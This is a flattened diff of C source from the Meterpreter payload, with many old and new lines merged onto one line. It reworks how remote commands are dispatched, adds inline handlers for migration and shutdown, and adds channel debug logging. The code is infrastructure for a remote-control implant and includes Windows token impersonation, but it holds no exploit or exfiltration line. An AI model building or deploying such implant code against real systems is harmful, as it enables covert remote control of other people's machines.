extern DWORD remote_response_core_channel_close(Remote *remote, Packet *packet); extern DWORD remote_response_core_channel_close( Remote *remote, Packet *packet );
DWORD remote_request_core_console_write(Remote *remote, Packet *packet) DWORD remote_request_core_console_write( Remote *remote, Packet *packet )
{ {
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
DWORD remote_response_core_console_write(Remote *remote, Packet *packet) DWORD remote_response_core_console_write( Remote *remote, Packet *packet )
{ {
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
BOOL command_is_inline( Command *command, Packet *packet );
Command* command_locate( Packet *packet );
DWORD command_validate_arguments(Command *command, Packet *packet);
DWORD THREADCALL command_process_thread( THREAD * thread );
/*! /*!
* @brief Base RPC dispatch table. * @brief Base RPC dispatch table.
*/ */
Command commands[] = Command base_commands[] =
{ {
/*
* Core commands
*/
// Console commands // Console commands
{ "core_console_write", { "core_console_write",
{ remote_request_core_console_write, { TLV_META_TYPE_STRING }, 1 | ARGUMENT_FLAG_REPEAT }, { remote_request_core_console_write, NULL, { TLV_META_TYPE_STRING }, 1 | ARGUMENT_FLAG_REPEAT },
{ remote_response_core_console_write, EMPTY_TLV }, { remote_response_core_console_write, NULL, EMPTY_TLV },
}, },
// Native Channel commands // Native Channel commands
// this overloads the "core_channel_open" in the base command list
COMMAND_REQ_REP( "core_channel_open", remote_request_core_channel_open, remote_response_core_channel_open ), COMMAND_REQ_REP( "core_channel_open", remote_request_core_channel_open, remote_response_core_channel_open ),
COMMAND_REQ( "core_channel_write", remote_request_core_channel_write ), COMMAND_REQ( "core_channel_write", remote_request_core_channel_write ),
COMMAND_REQ_REP( "core_channel_close", remote_request_core_channel_close, remote_response_core_channel_close ), COMMAND_REQ_REP( "core_channel_close", remote_request_core_channel_close, remote_response_core_channel_close ),
// Buffered/Pool channel commands // Buffered/Pool channel commands
COMMAND_REQ( "core_channel_read", remote_request_core_channel_read ), COMMAND_REQ( "core_channel_read", remote_request_core_channel_read ),
// Pool channel commands // Pool channel commands
@ -69,14 +72,17 @@ Command commands[] =
// Crypto // Crypto
COMMAND_REQ( "core_crypto_negotiate", remote_request_core_crypto_negotiate ), COMMAND_REQ( "core_crypto_negotiate", remote_request_core_crypto_negotiate ),
// Migration // Migration
COMMAND_REQ( "core_migrate", remote_request_core_migrate ), COMMAND_INLINE_REQ( "core_migrate", remote_request_core_migrate ),
// Shutdown // Shutdown
COMMAND_REQ( "core_shutdown", remote_request_core_shutdown ), COMMAND_INLINE_REQ( "core_shutdown", remote_request_core_shutdown ),
// Terminator // Terminator
COMMAND_TERMINATOR COMMAND_TERMINATOR
}; };
// Dynamically registered command extensions /*!
* @brief Dynamically registered command extensions.
* @details A linked list of commands registered on the fly by reflectively-loaded extensions.
*/
Command *extension_commands = NULL; Command *extension_commands = NULL;
/*! /*!
@ -88,7 +94,7 @@ void command_register_all(Command commands[])
DWORD index; DWORD index;
for (index = 0; commands[index].method; index++) for (index = 0; commands[index].method; index++)
command_register(&commands[index]); command_register( &commands[index] );
} }
/*! /*!
@ -201,20 +207,157 @@ VOID reap_zombie_thread(void * param)
} }
#endif #endif
/*!
* @brief Process a command directly on the current thread.
* @param command Pointer to the \c Command to be executed.
* @param remote Pointer to the \c Remote endpoint for this command.
* @param packet Pointer to the \c Packet containing the command detail.
* @returns Boolean value indicating if the server should continue processing.
* @retval TRUE The server can and should continue processing.
* @retval FALSE The server should stop processing and shut down.
* @sa command_handle
* @sa command_process_thread
*/
BOOL command_process_inline( Command *command, Remote *remote, Packet *packet )
{
DWORD result;
BOOL serverContinue = TRUE;
Tlv requestIdTlv;
PCHAR requestId;
PacketTlvType packetTlvType;
dprintf( "[COMMAND] Executing command %s", command->method );
__try
{
do
{
#ifdef _WIN32
// Impersonate the thread token if needed (only on Windows)
if(remote->hServerToken != remote->hThreadToken) {
if(! ImpersonateLoggedOnUser(remote->hThreadToken)) {
dprintf( "[COMMAND] Failed to impersonate thread token (%s) (%u)", command->method, GetLastError());
}
}
#endif
// Validate the arguments, if requested. Always make sure argument
// lengths are sane.
if( command_validate_arguments( command, packet ) != ERROR_SUCCESS )
break;
packetTlvType = packet_get_type( packet );
switch ( packetTlvType )
{
case PACKET_TLV_TYPE_REQUEST:
case PACKET_TLV_TYPE_PLAIN_REQUEST:
if (command->request.inline_handler) {
dprintf( "[DISPATCH] executing inline request handler %s", command->method );
serverContinue = command->request.inline_handler( remote, packet, &result );
} else {
dprintf( "[DISPATCH] executing request handler %s", command->method );
result = command->request.handler( remote, packet );
}
break;
case PACKET_TLV_TYPE_RESPONSE:
case PACKET_TLV_TYPE_PLAIN_RESPONSE:
if (command->response.inline_handler) {
dprintf( "[DISPATCH] executing inline response handler %s", command->method );
serverContinue = command->response.inline_handler( remote, packet, &result );
} else {
dprintf( "[DISPATCH] executing response handler %s", command->method );
result = command->response.handler( remote, packet );
}
break;
}
dprintf("[COMMAND] Calling completion handlers...");
// Get the request identifier if the packet has one.
if ( packet_get_tlv_string( packet, TLV_TYPE_REQUEST_ID, &requestIdTlv ) == ERROR_SUCCESS )
requestId = (PCHAR)requestIdTlv.buffer;
// Finally, call completion routines for the provided identifier
if( ((packetTlvType == PACKET_TLV_TYPE_RESPONSE) || (packetTlvType == PACKET_TLV_TYPE_PLAIN_RESPONSE)) && requestId)
packet_call_completion_handlers( remote, packet, requestId );
} while( 0 );
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
dprintf("[COMMAND] Exception hit in command %s", command->method );
}
packet_destroy( packet );
return serverContinue;
}
/*!
* @brief Handle an incoming command.
* @param remote Pointer to the \c Remote instance associated with this command.
* @param packet Pointer to the \c Packet containing the command data.
* @retval TRUE The server can and should continue processing.
* @retval FALSE The server should stop processing and shut down.
* @remark This function was incorporate to help support two things in meterpreter:
* -# A way of allowing a command to be processed directly on the main server
* thread and not on another thread (which in some cases can cause problems).
* -# A cleaner way of shutting down the server so that container processes
* can shutdown cleanly themselves, where appropriate.
*
* This function will look at the command definition and determine if it should
* be executed inline or on a new command thread.
* @sa command_process_inline
* @sa command_process_thread
*/
BOOL command_handle( Remote *remote, Packet *packet )
{
BOOL result = TRUE;
THREAD* cpt = NULL;
Command* command = NULL;
Packet* response = NULL;
do
{
command = command_locate( packet );
if( command == NULL ) {
dprintf( "[DISPATCH] Command not found" );
// We have no matching command for this packet, so it won't get handled. We
// need to send an empty response and clean up here before exiting out.
response = packet_create_response( packet );
packet_transmit_response( ERROR_NOT_SUPPORTED, remote, response );
packet_destroy( packet );
break;
}
if( command_is_inline( command, packet ) ) {
dprintf( "[DISPATCH] Executing inline: %s", command->method );
result = command_process_inline( command, remote, packet );
} else {
dprintf( "[DISPATCH] Executing in thread: %s", command->method );
cpt = thread_create( command_process_thread, remote, packet, command );
if( cpt )
{
dprintf( "[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle );
thread_run( cpt );
}
}
} while(0);
return result;
}
/*! /*!
* @brief Process a single command in a seperate thread of execution. * @brief Process a single command in a seperate thread of execution.
* @param thread Pointer to the thread to execute. * @param thread Pointer to the thread to execute.
* @return Result of processing. * @return Result of thread execution (not the result of the command).
* @sa command_handle
* @sa command_process_thread
*/ */
DWORD THREADCALL command_process_thread( THREAD * thread ) DWORD THREADCALL command_process_thread( THREAD * thread )
{ {
DWORD index = 0; Command * command = NULL;
DWORD result = ERROR_SUCCESS;
Tlv methodTlv = {0};
Tlv requestIdTlv = {0};
PCHAR method = NULL;
PCHAR requestId = NULL;
Command * current = NULL;
Remote * remote = NULL; Remote * remote = NULL;
Packet * packet = NULL; Packet * packet = NULL;
@ -229,11 +372,16 @@ DWORD THREADCALL command_process_thread( THREAD * thread )
if( packet == NULL ) if( packet == NULL )
return ERROR_INVALID_DATA; return ERROR_INVALID_DATA;
command = (Command *)thread->parameter3;
if( command == NULL )
return ERROR_INVALID_DATA;
if( commandThreadList == NULL ) if( commandThreadList == NULL )
{ {
commandThreadList = list_create(); commandThreadList = list_create();
if( commandThreadList == NULL ) if( commandThreadList == NULL )
return ERROR_INVALID_HANDLE; return ERROR_INVALID_HANDLE;
#ifndef _WIN32 #ifndef _WIN32
pthread_t tid; pthread_t tid;
pthread_create(&tid, NULL, reap_zombie_thread, NULL); pthread_create(&tid, NULL, reap_zombie_thread, NULL);
@ -243,73 +391,7 @@ DWORD THREADCALL command_process_thread( THREAD * thread )
list_add( commandThreadList, thread ); list_add( commandThreadList, thread );
__try command_process_inline( command, remote, packet );
{
do
{
// Extract the method
result = packet_get_tlv_string( packet, TLV_TYPE_METHOD, &methodTlv );
if( result != ERROR_SUCCESS )
break;
dprintf( "[COMMAND] Processing method %s", methodTlv.buffer );
#ifdef _WIN32
// Impersonate the thread token if needed (only on Windows)
if(remote->hServerToken != remote->hThreadToken) {
if(! ImpersonateLoggedOnUser(remote->hThreadToken)) {
dprintf( "[COMMAND] Failed to impersonate thread token (%s) (%u)", methodTlv.buffer, GetLastError());
}
}
#endif
// Get the request identifier if the packet has one.
result = packet_get_tlv_string( packet, TLV_TYPE_REQUEST_ID, &requestIdTlv );
if( result == ERROR_SUCCESS )
requestId = (PCHAR)requestIdTlv.buffer;
method = (PCHAR)methodTlv.buffer;
result = ERROR_NOT_FOUND;
// Try to find a match in the dispatch type
for( index = 0, result = ERROR_NOT_FOUND ; result == ERROR_NOT_FOUND && commands[index].method ; index++ )
{
if( strcmp( commands[index].method, method ) )
continue;
// Call the base handler
result = command_call_dispatch( &commands[index], remote, packet );
}
// Regardless of error code, try to see if someone has overriden a base handler
for( current = extension_commands, result = ERROR_NOT_FOUND ;
result == ERROR_NOT_FOUND && current && current->method ; current = current->next )
{
if( strcmp( current->method, method ) )
continue;
// Call the custom handler
result = command_call_dispatch( current, remote, packet );
}
dprintf("[COMMAND] Calling completion handlers...");
// Finally, call completion routines for the provided identifier
if( ((packet_get_type(packet) == PACKET_TLV_TYPE_RESPONSE) || (packet_get_type(packet) == PACKET_TLV_TYPE_PLAIN_RESPONSE)) && (requestId))
packet_call_completion_handlers( remote, packet, requestId );
// If we get here, we're successful.
result = ERROR_SUCCESS;
} while( 0 );
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
dprintf("[COMMAND] Exception hit in command thread 0x%08X!", thread );
}
packet_destroy( packet );
if( list_remove( commandThreadList, thread ) ) if( list_remove( commandThreadList, thread ) )
thread_destroy( thread ); thread_destroy( thread );
@ -317,146 +399,108 @@ DWORD THREADCALL command_process_thread( THREAD * thread )
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
/*
* Process a single command
*/
/*
DWORD command_process_remote(Remote *remote, Packet *inPacket)
{
DWORD res = ERROR_SUCCESS, index;
Tlv methodTlv, requestIdTlv;
Packet *localPacket = NULL;
PCHAR method, requestId = NULL;
Command *current;
do
{
// If no packet was providied, try to receive one.
if (!inPacket)
{
if ((res = packet_receive(remote, &localPacket)) != ERROR_SUCCESS)
break;
else
inPacket = localPacket;
}
// Extract the method
if ((packet_get_tlv_string(inPacket, TLV_TYPE_METHOD, &methodTlv)
!= ERROR_SUCCESS))
break;
dprintf("Processing method %s", methodTlv.buffer);
// Get the request identifier if the packet has one.
if (packet_get_tlv_string(inPacket, TLV_TYPE_REQUEST_ID,
&requestIdTlv) == ERROR_SUCCESS)
requestId = (PCHAR)requestIdTlv.buffer;
method = (PCHAR)methodTlv.buffer;
res = ERROR_NOT_FOUND;
// Try to find a match in the dispatch type
for (index = 0, res = ERROR_NOT_FOUND;
res = ERROR_NOT_FOUND && commands[index].method;
index++)
{
if (strcmp(commands[index].method, method))
continue;
// Call the base handler
res = command_call_dispatch(&commands[index], remote, inPacket);
}
// Regardless of error code, try to see if someone has overriden
// a base handler
for (current = extension_commands, res = ERROR_NOT_FOUND;
res == ERROR_NOT_FOUND && current && current->method;
current = current->next)
{
if (strcmp(current->method, method))
continue;
// Call the custom handler
res = command_call_dispatch(current, remote, inPacket);
}
dprintf("Calling completion handlers...");
// Finally, call completion routines for the provided identifier
if (((packet_get_type(inPacket) == PACKET_TLV_TYPE_RESPONSE) ||
(packet_get_type(inPacket) == PACKET_TLV_TYPE_PLAIN_RESPONSE)) &&
(requestId))
packet_call_completion_handlers(remote, inPacket, requestId);
// If we get here, we're successful.
res = ERROR_SUCCESS;
} while (0);
if (localPacket)
packet_destroy(localPacket);
return res;
}*/
/*
* Process incoming commands, calling dispatch tables appropriately
*/
/*
DWORD command_process_remote_loop(Remote *remote)
{
DWORD res = ERROR_SUCCESS;
Packet *packet;
while ((res = packet_receive(remote, &packet)) == ERROR_SUCCESS)
{
res = command_process_remote(remote, packet);
// Destroy the packet
packet_destroy(packet);
// If a command returned exit, we shall return.
if (res == ERROR_INSTALL_USEREXIT)
break;
}
return res;
}
*/
/*! /*!
* @brief Call the dispatch routine for a given command. * @brief Determine if a given command/packet combination should be invoked inline.
* @param command The command to call the dispatch routine on. * @param command Pointer to the \c Command being invoked.
* @param remote Pointer to the remote connection. * @param packet Pointer to the \c Packet being received/sent.
* @param packet Pointer to the current packet. * @returns Boolean indication of whether the command should be executed inline.
* @return Result of the command dispatch handler call. * @retval TRUE The command should be executed inline on the current thread.
* @retval FALSE The command should be executed on a new thread.
*/ */
DWORD command_call_dispatch(Command *command, Remote *remote, Packet *packet) BOOL command_is_inline( Command *command, Packet *packet )
{ {
DWORD res; switch (packet_get_type( packet ))
// Validate the arguments, if requested. Always make sure argument
// lengths are sane.
if ((res = command_validate_arguments(command, packet)) != ERROR_SUCCESS)
return res;
switch (packet_get_type(packet))
{ {
case PACKET_TLV_TYPE_REQUEST: case PACKET_TLV_TYPE_REQUEST:
case PACKET_TLV_TYPE_PLAIN_REQUEST: case PACKET_TLV_TYPE_PLAIN_REQUEST:
if (command->request.handler) if (command->request.inline_handler)
res = command->request.handler(remote, packet); return TRUE;
break;
case PACKET_TLV_TYPE_RESPONSE: case PACKET_TLV_TYPE_RESPONSE:
case PACKET_TLV_TYPE_PLAIN_RESPONSE: case PACKET_TLV_TYPE_PLAIN_RESPONSE:
if (command->response.handler) if (command->response.inline_handler)
res = command->response.handler(remote, packet); return TRUE;
break;
default:
res = ERROR_NOT_FOUND;
break;
} }
return res; return FALSE;
}
/*!
* @brief Attempt to locate a command in the base command list.
* @param method String that identifies the command.
* @returns Pointer to the command entry in the base command list.
* @retval NULL Indicates that no command was found for the given method.
* @retval NON-NULL Pointer to the command that can be executed.
*/
Command* command_locate_base( const char* method )
{
DWORD index;
dprintf( "[COMMAND EXEC] Attempting to locate base command %s", method );
for( index = 0; base_commands[index].method ; ++index )
if( strcmp( base_commands[index].method, method ) == 0 )
return &base_commands[index];
dprintf( "[COMMAND EXEC] Couldn't find base command %s", method );
return NULL;
}
/*!
* @brief Attempt to locate a command in the extensions command list.
* @param method String that identifies the command.
* @returns Pointer to the command entry in the extensions command list.
* @retval NULL Indicates that no command was found for the given method.
* @retval NON-NULL Pointer to the command that can be executed.
*/
Command* command_locate_extension( const char* method )
{
Command* command;
dprintf( "[COMMAND EXEC] Attempting to locate extension command %s", method );
for( command = extension_commands; command; command = command->next )
if( strcmp( command->method, method ) == 0 )
return command;
dprintf( "[COMMAND EXEC] Couldn't find extension command %s", method );
return NULL;
}
/*!
* @brief Attempt to locate a command to execute based on the method.
* @param method String that identifies the command.
* @returns Pointer to the command entry to execute.
* @retval NULL Indicates that no command was found for the given method.
* @retval NON-NULL Pointer to the command that can be executed.
* @remark This function tries to find an extension command first. If
* found it will be returned. If not, the base command list is
* queried. This supports the notion of extensions overloading
* the base commands.
* @sa command_locate_extension
* @sa command_locate_base
*/
Command* command_locate( Packet *packet )
{
Command* command = NULL;
DWORD dwResult;
Tlv methodTlv;
do
{
dwResult = packet_get_tlv_string( packet, TLV_TYPE_METHOD, &methodTlv );
if( dwResult != ERROR_SUCCESS ) {
dprintf( "[COMMAND] Unable to extract method from packet." );
break;
}
// check for an overload first.
command = command_locate_extension( (PCHAR)methodTlv.buffer );
// if no overload, then fallback on base.
if( command == NULL )
command = command_locate_base( (PCHAR)methodTlv.buffer );
} while(0);
return command;
} }
/*! /*!

@ -10,6 +10,7 @@
/*! @brief Function pointer type that defines the interface for a dispatch handler. */ /*! @brief Function pointer type that defines the interface for a dispatch handler. */
typedef DWORD (*DISPATCH_ROUTINE)( Remote *remote, Packet *packet ); typedef DWORD (*DISPATCH_ROUTINE)( Remote *remote, Packet *packet );
typedef BOOL (*INLINE_DISPATCH_ROUTINE)( Remote *remote, Packet *packet, DWORD* result);
/*! @brief Specifies the maximum number of arguments that are checked/handled /*! @brief Specifies the maximum number of arguments that are checked/handled
* in a request/response packet dispatcher. * in a request/response packet dispatcher.
@ -24,15 +25,30 @@ typedef DWORD (*DISPATCH_ROUTINE)( Remote *remote, Packet *packet );
/*! @brief Helper macro that contains the required NULL initialisations for a command handler TLV info. */ /*! @brief Helper macro that contains the required NULL initialisations for a command handler TLV info. */
#define EMPTY_TLV { 0 }, 0 #define EMPTY_TLV { 0 }, 0
/*! @brief Helper macro which defines an empty dispatch handler. */ /*! @brief Helper macro which defines an empty dispatch handler. */
#define EMPTY_DISPATCH_HANDLER NULL, EMPTY_TLV #define EMPTY_DISPATCH_HANDLER NULL, NULL, EMPTY_TLV
/*! @brief Helper macro that defines terminator for command lists. */ /*! @brief Helper macro that defines terminator for command lists. */
#define COMMAND_TERMINATOR { NULL, { EMPTY_DISPATCH_HANDLER }, { EMPTY_DISPATCH_HANDLER } } #define COMMAND_TERMINATOR { NULL, { EMPTY_DISPATCH_HANDLER }, { EMPTY_DISPATCH_HANDLER } }
/*! @brief Helper macro that defines a command instance with a request handler only. */
#define COMMAND_REQ(name, reqHandler) { name, { reqHandler, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } } /*!
/*! @brief Helper macro that defines a command instance with a response handler only. */ * @brief Helper macro that defines a command instance with a request handler only.
#define COMMAND_REP(name, repHandler) { name, { EMPTY_DISPATCH_HANDLER }, { repHandler, EMPTY_TLV } } * @remarks The request handler will be executed on a separate thread.
/*! @brief Helper macro that defines a command instance with both a request and response handler. */ */
#define COMMAND_REQ_REP(name, reqHandler, repHandler) { name, { reqHandler, EMPTY_TLV }, { repHandler, EMPTY_TLV } } #define COMMAND_REQ(name, reqHandler) { name, { reqHandler, NULL, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } }
/*!
* @brief Helper macro that defines a command instance with a response handler only.
* @remarks The request handler will be executed on a separate thread.
*/
#define COMMAND_REP(name, repHandler) { name, { EMPTY_DISPATCH_HANDLER }, { repHandler, NULL, EMPTY_TLV } }
/*!
* @brief Helper macro that defines a command instance with both a request and response handler.
* @remarks The request handler will be executed on a separate thread.
*/
#define COMMAND_REQ_REP(name, reqHandler, repHandler) { name, { reqHandler, NULL, EMPTY_TLV }, { repHandler, NULL, EMPTY_TLV } }
/*!
* @brief Helper macro that defines a command instance with an inline request handler only.
* @remarks The request handler will be executed on the server thread.
*/
#define COMMAND_INLINE_REQ(name, reqHandler) { name, { NULL, reqHandler, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } }
// Place holders // Place holders
/*! @deprecated This entity is not used and may be removed in future. */ /*! @deprecated This entity is not used and may be removed in future. */
@ -46,12 +62,21 @@ typedef DWORD (*DISPATCH_ROUTINE)( Remote *remote, Packet *packet );
typedef struct typedef struct
{ {
/*! @brief Pointer to the routine that will be called to handle the request/response. */ /*! @brief Pointer to the routine that will be called to handle the request/response. */
DISPATCH_ROUTINE handler; DISPATCH_ROUTINE handler;
/*!
* @brief Pointer to the routine that will be called on the _current thread_.
* @remark If this function is specified then it will be invoked on the current server
* thread rather than having a new thread allocated to it for processing.
* The result of this routine will indicate whether the server should continue.
* If this value is specified (ie. non-NULL) then the \c handler value is ignored.
*/
INLINE_DISPATCH_ROUTINE inline_handler;
/*! @brief Array of types that match the expected arguments for this response/request routine. */ /*! @brief Array of types that match the expected arguments for this response/request routine. */
TlvMetaType argumentTypes[MAX_CHECKED_ARGUMENTS]; TlvMetaType argumentTypes[MAX_CHECKED_ARGUMENTS];
/*! @brief The number of entries in the \c argumentTypes array. */ /*! @brief The number of entries in the \c argumentTypes array. */
DWORD numArgumentTypes; DWORD numArgumentTypes;
} PacketDispatcher; } PacketDispatcher;
/*! /*!
@ -75,11 +100,6 @@ LINKAGE DWORD command_deregister(Command *command);
LINKAGE VOID command_join_threads( VOID ); LINKAGE VOID command_join_threads( VOID );
LINKAGE DWORD THREADCALL command_process_thread( THREAD * thread ); LINKAGE BOOL command_handle( Remote *remote, Packet *packet );
//LINKAGE DWORD command_process_remote(Remote *remote, Packet *inPacket);
//LINKAGE DWORD command_process_remote_loop(Remote *remote);
LINKAGE DWORD command_call_dispatch(Command *command, Remote *remote, Packet *packet);
LINKAGE DWORD command_validate_arguments(Command *command, Packet *packet);
#endif #endif

@ -1,15 +1,5 @@
#include "common.h" #include "common.h"
#ifdef _WIN32
/* it appears extern'd globals screw up the posix build because the linker
* fails to find them and causes metsrv to exit.
* - egypt
*/
// An external reference to the meterpreters main server thread, so we can shutdown gracefully after successfull migration.
extern THREAD * serverThread;
#endif
/* /*
* core_channel_open * core_channel_open
* ----------------- * -----------------
@ -31,9 +21,10 @@ DWORD remote_request_core_channel_open(Remote *remote, Packet *packet)
do do
{ {
dprintf( "[CHANNEL] Opening new channel for packet %p", packet );
// If the channel open request had a specific channel type // If the channel open request had a specific channel type
if ((channelType = packet_get_tlv_value_string(packet, if ((channelType = packet_get_tlv_value_string(packet, TLV_TYPE_CHANNEL_TYPE)))
TLV_TYPE_CHANNEL_TYPE)))
{ {
res = ERROR_NOT_FOUND; res = ERROR_NOT_FOUND;
break; break;
@ -42,28 +33,36 @@ DWORD remote_request_core_channel_open(Remote *remote, Packet *packet)
// Get any flags that were supplied // Get any flags that were supplied
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS); flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS);
dprintf( "[CHANNEL] Opening %s %u", channelType, flags );
// Allocate a response // Allocate a response
response = packet_create_response(packet); response = packet_create_response(packet);
// Did the response allocation fail? // Did the response allocation fail?
if ((!response) || if ((!response) || (!(newChannel = channel_create(0, flags))))
(!(newChannel = channel_create(0, flags))))
{ {
res = ERROR_NOT_ENOUGH_MEMORY; res = ERROR_NOT_ENOUGH_MEMORY;
break; break;
} }
dprintf( "[CHANNEL] Opened %s %u", channelType, flags );
// Get the channel class and set it // Get the channel class and set it
newChannel->cls = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_CLASS); newChannel->cls = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_CLASS);
dprintf( "[CHANNEL] Channel class for %s: %u", channelType, newChannel->cls );
// Add the new channel identifier to the response // Add the new channel identifier to the response
if ((res = packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, if ((res = packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID,
channel_get_id(newChannel))) != ERROR_SUCCESS) channel_get_id(newChannel))) != ERROR_SUCCESS)
break; break;
// Transmit the response // Transmit the response
dprintf( "[CHANNEL] Sending response for %s", channelType );
res = packet_transmit(remote, response, NULL); res = packet_transmit(remote, response, NULL);
dprintf( "[CHANNEL] Done" );
} while (0); } while (0);
return res; return res;
@ -565,9 +564,10 @@ DWORD remote_request_core_channel_interact(Remote *remote, Packet *packet)
NativeChannelOps *native = (NativeChannelOps *)&channel->ops; NativeChannelOps *native = (NativeChannelOps *)&channel->ops;
// Check to see if this channel has a registered interact handler // Check to see if this channel has a registered interact handler
if (native->interact) dprintf( "[DISPATCH] attempting to set interactive: %d context 0x%p", interact, native->context );
result = native->interact(channel, packet, native->context, if (native->interact) {
interact); result = native->interact(channel, packet, native->context, interact);
}
} }
// Set the channel's interactive state // Set the channel's interactive state
@ -615,29 +615,23 @@ DWORD remote_request_core_crypto_negotiate(Remote *remote, Packet *packet)
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
/* /*
* core_shutdown * core_shutdown
* ----------------- * -----------------
*
*/ */
DWORD remote_request_core_shutdown(Remote *remote, Packet *packet) DWORD remote_request_core_shutdown( Remote *remote, Packet *packet, DWORD* pResult )
{ {
Channel *channel = NULL; Channel *channel = NULL;
Packet *response = packet_create_response(packet); Packet *response = packet_create_response( packet );
DWORD result = ERROR_SUCCESS; DWORD result = ERROR_SUCCESS;
// Acknowledge the shutdown request // Acknowledge the shutdown request
packet_add_tlv_bool(response, TLV_TYPE_BOOL, TRUE); packet_add_tlv_bool( response, TLV_TYPE_BOOL, TRUE );
// Transmit the response // Transmit the response
packet_transmit_response(result, remote, response); packet_transmit_response( result, remote, response );
#ifdef _WIN32 *pResult = result;
// see note about posix above - egypt
dprintf("[SHUTDOWN] Shutting down the Meterpreter thread 1 (killing the main thread)..."); return TRUE;
thread_kill( serverThread );
#endif
return result;
} }

@ -159,6 +159,7 @@ VOID channel_destroy(Channel *channel, Packet *request)
lock_destroy( channel->lock ); lock_destroy( channel->lock );
// Destroy the channel context // Destroy the channel context
dprintf( "[CHANNEL] Free up the channel context 0x%p", channel );
free(channel); free(channel);
} }
@ -445,13 +446,16 @@ DWORD _channel_packet_completion_routine(Remote *remote, Packet *packet,
length); length);
} }
else if ((!strcmp(method, "core_channel_close")) && else if ((!strcmp(method, "core_channel_close")) &&
(comp->routine.close)) (comp->routine.close)) {
dprintf( "[CHANNEL] freeing up the completion context" );
res = comp->routine.close(remote, channel, comp->context, result); res = comp->routine.close(remote, channel, comp->context, result);
}
else if ((!strcmp(method, "core_channel_interact")) && else if ((!strcmp(method, "core_channel_interact")) &&
(comp->routine.interact)) (comp->routine.interact))
res = comp->routine.interact(remote, channel, comp->context, result); res = comp->routine.interact(remote, channel, comp->context, result);
// Deallocate the completion context // Deallocate the completion context
dprintf( "[CHANNEL] freeing up the completion context" );
free(comp); free(comp);
return res; return res;

@ -46,9 +46,6 @@ int current_unix_timestamp(void) {
int debugging_enabled; int debugging_enabled;
/*
*/
/*! /*!
* @brief Output a debug string to the debug console. * @brief Output a debug string to the debug console.
* @details The function emits debug strings via `OutputDebugStringA`, hence all messages can be viewed * @details The function emits debug strings via `OutputDebugStringA`, hence all messages can be viewed

@ -161,7 +161,7 @@ void real_dprintf(char *filename, int line, const char *function, char *format,
#include <wininet.h> #include <wininet.h>
/*! @brief When defined, debug output is enabled. */ /*! @brief When defined, debug output is enabled on Windows builds. */
//#define DEBUGTRACE 1 //#define DEBUGTRACE 1
#ifdef DEBUGTRACE #ifdef DEBUGTRACE
@ -171,18 +171,18 @@ void real_dprintf(char *filename, int line, const char *function, char *format,
#endif #endif
/*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `break;` */ /*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `break;` */
#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; } #define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); break; }
/*! @brief Sets `dwResult` to `error`, prints debug output, then `break;` */ /*! @brief Sets `dwResult` to `error`, prints debug output, then `break;` */
#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d", str, dwResult ); break; } #define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); break; }
/*! @brief Sets `dwResult` to the return value of `WASGetLastError()`, prints debug output, then does `break;` */ /*! @brief Sets `dwResult` to the return value of `WASGetLastError()`, prints debug output, then does `break;` */
#define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; } #define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); break; }
/*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `continue;` */ /*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `continue;` */
#define CONTINUE_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d", str, dwResult ); continue; } #define CONTINUE_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); continue; }
/*! @brief Close a service handle if not already closed and set the handle to NULL. */ /*! @brief Close a service handle if not already closed and set the handle to NULL. */
#define CLOSE_SERVICE_HANDLE( h ) if( h ) { CloseServiceHandle( h ); h = NULL; } #define CLOSE_SERVICE_HANDLE( h ) if( h ) { CloseServiceHandle( h ); h = NULL; }
/*! @brief Close a handle if not already closed and set the handle to NULL. */ /*! @brief Close a handle if not already closed and set the handle to NULL. */
#define CLOSE_HANDLE( h ) if( h ) { DWORD dwHandleFlags; if(GetHandleInformation( h , &dwHandleFlags)) CloseHandle( h ); h = NULL; } #define CLOSE_HANDLE( h ) if( h ) { DWORD dwHandleFlags; if(GetHandleInformation( h , &dwHandleFlags)) CloseHandle( h ); h = NULL; }
#ifdef DEBUGTRACE #ifdef DEBUGTRACE
/*! /*!

@ -174,9 +174,11 @@ typedef char BYTE;
typedef uint32_t ULONG; typedef uint32_t ULONG;
typedef uint32_t * PULONG; typedef uint32_t * PULONG;
typedef const char CSTR; typedef const char CSTR;
typedef const wchar_t CWSTR;
typedef unsigned char UCHAR; typedef unsigned char UCHAR;
typedef UCHAR * PUCHAR; typedef UCHAR * PUCHAR;
typedef CSTR * LPCSTR; typedef CSTR * LPCSTR;
typedef CWSTR * LPCWSTR;
typedef char * LPSTR; typedef char * LPSTR;
typedef long DWORD; typedef long DWORD;
typedef DWORD * LPDWORD; typedef DWORD * LPDWORD;

